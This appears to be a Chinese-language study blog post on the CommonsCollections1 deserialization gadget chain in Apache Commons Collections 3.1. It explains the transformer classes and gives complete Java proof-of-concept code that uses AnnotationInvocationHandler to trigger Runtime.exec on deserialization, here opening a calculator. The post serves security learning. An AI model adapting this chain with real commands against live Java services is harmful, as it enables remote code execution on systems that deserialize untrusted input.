0x01 漏洞介绍 Apache Commons Collections是一个第三方的基础类库,提供了很多强有力的数据结构类型并且实现了各种集合工具类,可以说是apache开源项目的重要组件。
CommonsCollection在java反序列化的源流中已经存在5年
今天介绍的CommonsCollections1,反序列化的第一种RCE序列化链
CommonsCollections1反序列化漏洞点仍然是commons-collections-3.1版本
0x02 实验环境
1 2 3 4 5 6 7 <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1 </version> </dependency> </dependencies>
此次实验代码:
https://github.com/godzeo/javasec\_code\_study/tree/master/src/main/java/CommonCollections
0x03 构造链-基础知识 看完之后,大概会总结一下,需要了解这⼏个接⼝和类的知识点
首先要从Transformer类开始
Transformer它只是⼀个接⼝,只有⼀个待实现的⽅法:它的作用我感觉就是总接口吧
1 2 3 4 5 package org.apache.commons.collections;public interface Transformer { Object transform (Object var1) ; }
TransformedMap在利用链中个人理解:是一个触发器,主要是后面类中的 实现类的Transformer()方法
1 2 3 4 5 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
它是基本的数据类型Map类的做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个函数。
这个函数,就是⼀个实现了Transformer接⼝的类,这个类也就是链中导向下一环的入口。
第一个参数,要绑定修饰的map,第三个参数就是 valueTransformer就是要执行的Transformer接⼝的类。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class ChainedTransformer implements Transformer , Serializable { ....... } ...... public ChainedTransformer (Transformer[] transformers) { this .iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; }
1 2 3 public ConstantTransformer (Object constantToReturn) { this .iConstant = constantToReturn; }
这个类就是代码执行的关键了
这个类的实现主要采用了反射的方法
简单的说:可以通过这个类反射实例化调用其他类其他方法(任意的方法,也就是命令执行)
只要参数可控,就是任意命令执行
看一下代码,其实就是反射的代码,给封装到transform方法里面了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException var6) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException var7) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' threw an exception" , var7); } }
0x04 简单的DEMO 下面是P牛写的dome
简单的利上面的知识点,构造了一个简单的链,达到命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package CommonCollections;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class CommonCollections1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" }), }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); outerMap.put("zeo" , "666" ); } }
分析一下:
实例化new Transformer的数组,构造中间的小链子
小链子主要有两个ConstantTransformer,InvokerTransformer 这个两个构造好后,放入刚刚提到的ChainedTransformer类里面,他们就是连起来的里面,大概就是下面这么个情况
命令执行造好了,还有一个触发ChainedTransformer的方法,就是TransformedMap.decorate方法
实例化一个map对象,然后修饰绑定上transformerChain这个上面,每当有map有新元素进来的时候,就会触发上面的链
所以map对象put(“test”, “xxxx”)一下就会触发命令执行成功弹出了计算器
0x05 改写POC
上面的漏洞虽然触发了,但是其实是手动触发,没什么用的。
反序列化洞,你不得找到一个反序列化的点,来触发这个洞吗?
所以,目标是:找到⼀个类,它在反序列化的readObject逻辑⾥有类似的写⼊操作。
这个类就是
1 sun.reflect.annotation.AnnotationInvocationHandler
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { return ; } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
发现主要的触发点在 memberValue.setValue(),这个方法可以往map对象里面赋值。
memberValue成员变量是map对象
所以最终的流程:
把之前构造的transform链包装成一个Map对象
将它作为AnnotationInvocationHandler反序列后的memberValue
在readObject反序列化的时候,触发memberValue.setValue()
然后再触发TransformedMap里的transform()
最后实现命令执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"open -a Calculator" }), };
改写就是将 Runtime.getRuntime() 换成了 Runtime.class
原因是:java.lang.Runtime 对象不能反序列化
方法
类
可否序列化
Runtime.getRuntime()
java.lang.Runtime
no
Runtime.class
java.lang.Class
yes
重点:Java中不是所有对象都⽀持序列化,Java类 必须都实现了 java.io.Serializable 接⼝,才可以序列化,所以我们得换一个对象实现POC的改写
0x06最终POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 package CommonCollections;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.util.HashMap;import java.util.Map;public class CommonCollections1poc { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"open -a Calculator" }), }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); innerMap.put("value" , "zeo" ); Map outerMap = TransformedMap.decorate(innerMap, null , transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object) ois.readObject(); } }
成功执行:
0x07总结 还是挺有意义的吧,了解底层的原来,还有一些类的原理没有摸透,得好好再看看。
反射的基础还是挺重要的,得多学习。